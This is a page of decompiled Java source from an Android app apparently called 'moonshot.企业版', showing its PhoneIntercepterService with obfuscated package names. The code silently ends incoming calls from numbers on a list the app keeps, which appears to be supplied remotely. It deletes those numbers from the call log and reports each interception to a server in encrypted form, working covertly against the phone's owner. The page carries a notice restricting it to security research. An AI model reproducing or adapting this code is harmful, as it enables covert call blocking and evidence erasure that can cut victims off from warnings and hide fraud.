正在查看: moonshot.企业版 v8.14.46 应用的 PhoneIntercepterService.java JAVA 源代码文件
本页面展示 JAVA 反编译生成的源代码文件,支持语法高亮显示。 仅供安全研究与技术分析使用,严禁用于任何非法用途。请遵守相关法律法规。
正在查看: moonshot.企业版 v8.14.46 应用的 PhoneIntercepterService.java JAVA 源代码文件
本页面展示 JAVA 反编译生成的源代码文件,支持语法高亮显示。 仅供安全研究与技术分析使用,严禁用于任何非法用途。请遵守相关法律法规。
package com.ddtx.dingdatacontact.service;
import android.app.Notification;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.database.ContentObserver;
import android.os.Build;
import android.os.Handler;
import android.os.IBinder;
import android.provider.CallLog;
import android.telecom.TelecomManager;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import c8sKPHc73aST6XPVbBtC.c8sKPHc73aST6XPVbBtC.InterfaceC2092;
import com.android.internal.telephony.ITelephony;
import com.ddtx.dingdatacontact.R;
import com.google.gson.Gson;
import com.netease.nim.uikit.rest.Host;
import com.netease.nim.uikit.rest.JsonCallback;
import com.netease.nim.uikit.rest.SignUtil;
import com.netease.nim.uikit.utils.AesUtil;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import kp1AiJpjqJHu1Tcnj96z.IRnPlw4EC2IclzeuBbCK.zSFvmU2XOpXZrEfUxlHp.C3343;
import kp1AiJpjqJHu1Tcnj96z.IRnPlw4EC2IclzeuBbCK.zSFvmU2XOpXZrEfUxlHp.C3346;
import kp1AiJpjqJHu1Tcnj96z.Yt7pKkvfomCuROgEX5My.zSFvmU2XOpXZrEfUxlHp.zSFvmU2XOpXZrEfUxlHp.薱倕錌;
public class PhoneIntercepterService extends Service {
private static final String CHANNEL_ID = "DemoService";
private String incomingNumber = "";
private TelecomManager manager;
private Notification notification;
private IBinder phoneIBinder;
private C2905 phoneListener;
private TelephonyManager telephonyManager;
public class C2903 {
public String f12252 = C3346.m18098();
public long f12254 = System.currentTimeMillis();
public String f12251 = "";
public int f12253 = 0;
public C2903() {
}
}
public class C2904 extends JsonCallback {
public C2904() {
}
public void onResponse(Object obj) {
}
}
public class C2905 extends PhoneStateListener {
private Context f12257;
public C2905(Context context) {
this.f12257 = context;
}
@Override
public void onCallStateChanged(int i, String str) {
super.onCallStateChanged(i, str);
String str2 = "收到 : " + str + ",state: " + i;
C3343.m18073("PhoneIntercepterService onCallStateChanged phoneNumber " + str + ",state: " + i);
ArrayList<String> arrayList = C3346.f13512;
if (arrayList != null) {
Iterator<String> it = arrayList.iterator();
while (it.hasNext()) {
String str3 = "intercepter phone : " + it.next();
}
}
if (i != 1) {
return;
}
ArrayList<String> arrayList2 = C3346.f13512;
if (arrayList2 == null || arrayList2.size() <= 0 || !C3346.f13512.contains(str)) {
C3343.m18073("PhoneIntercepterService not catch phoneNumber " + str);
return;
}
String str4 = "catch : " + str;
C3343.m18073("PhoneIntercepterService catch phoneNumber " + str);
PhoneIntercepterService.this.incomingNumber = str;
PhoneIntercepterService.this.endCall();
}
}
public class C2906 extends ContentObserver {
private String f12259;
public C2906(String str, Handler handler) {
super(handler);
this.f12259 = str;
}
@Override
public void onChange(boolean z) {
super.onChange(z);
PhoneIntercepterService.this.deleteCallLog();
}
}
public void deleteCallLog() {
if (this.incomingNumber.isEmpty()) {
return;
}
int delete = getContentResolver().delete(CallLog.Calls.CONTENT_URI, "number=?", new String[]{this.incomingNumber});
String str = "已删除记录 " + delete;
C3343.m18073("PhoneIntercepterService deleteCallLog result " + delete);
if (delete > 0) {
uploadInterceptLog(1);
}
}
public void endCall() {
try {
C3343.m18073("PhoneIntercepterService endCall phoneNumber " + this.incomingNumber);
if (Build.VERSION.SDK_INT <= 28 || checkSelfPermission("android.permission.ANSWER_PHONE_CALLS") != 0) {
ITelephony.AbstractBinderC2564.m14790((IBinder) Class.forName("android.os.ServiceManager").getMethod("getService", String.class).invoke(null, "phone")).endCall();
deleteCallLog();
C3343.m18073("PhoneIntercepterService ITelephony endCall phoneNumber " + this.incomingNumber);
return;
}
TelecomManager telecomManager = (TelecomManager) getSystemService("telecom");
this.manager = telecomManager;
telecomManager.endCall();
deleteCallLog();
C3343.m18073("PhoneIntercepterService TelecomManager endCall phoneNumber " + this.incomingNumber);
} catch (Exception e) {
C3343.m18073("PhoneIntercepterService endCall Exception " + e.getMessage());
uploadInterceptLog(0);
e.printStackTrace();
}
}
private void setNotify() {
NotificationManager notificationManager = (NotificationManager) getSystemService("notification");
if (Build.VERSION.SDK_INT >= 26) {
notificationManager.createNotificationChannel(new NotificationChannel(CHANNEL_ID, getString(R.string.app_name), 2));
Notification build = new Notification.Builder(getApplicationContext(), CHANNEL_ID).build();
this.notification = build;
startForeground(1, build);
}
}
@Override
@InterfaceC2092
public IBinder onBind(Intent intent) {
return null;
}
@Override
public void onCreate() {
super.onCreate();
C3343.m18073("PhoneIntercepterService onCreate");
setNotify();
this.telephonyManager = (TelephonyManager) getSystemService("phone");
C2905 c2905 = new C2905(this);
this.phoneListener = c2905;
this.telephonyManager.listen(c2905, 32);
try {
this.phoneIBinder = (IBinder) PhoneIntercepterService.class.getClassLoader().loadClass("android.os.ServiceManager").getDeclaredMethod("getService", String.class).invoke(null, "phone");
getContentResolver().registerContentObserver(CallLog.Calls.CONTENT_URI, true, new C2906(this.incomingNumber, new Handler()));
} catch (Exception e) {
e.printStackTrace();
C3343.m18073("PhoneIntercepterService onCreate exception");
}
C3346.f13503 = true;
}
@Override
public void onDestroy() {
super.onDestroy();
this.telephonyManager.listen(this.phoneListener, 0);
}
@Override
public int onStartCommand(Intent intent, int i, int i2) {
C3343.m18073("PhoneIntercepterService onStartCommand ");
return super.onStartCommand(intent, i, i2);
}
public void uploadInterceptLog(int i) {
C2903 c2903 = new C2903();
c2903.f12251 = this.incomingNumber;
c2903.f12253 = i;
String json = new Gson().toJson(c2903);
String str = " uploadInterceptLog data >>> " + json;
String encrypt = AesUtil.encrypt(json);
HashMap hashMap = new HashMap();
hashMap.put("os", "android");
hashMap.put("v", C3346.m18097(C3346.m18096()));
SignUtil.genParams(hashMap);
薱倕錌.睩莩瘃().軺嬖腁膰(Host.getApi_InterceptLog() + encrypt).頗櫔莠扶菐亗葫悶蹊禼鐹掷(hashMap).腆蚊渔().躋襉(new C2904());
}
}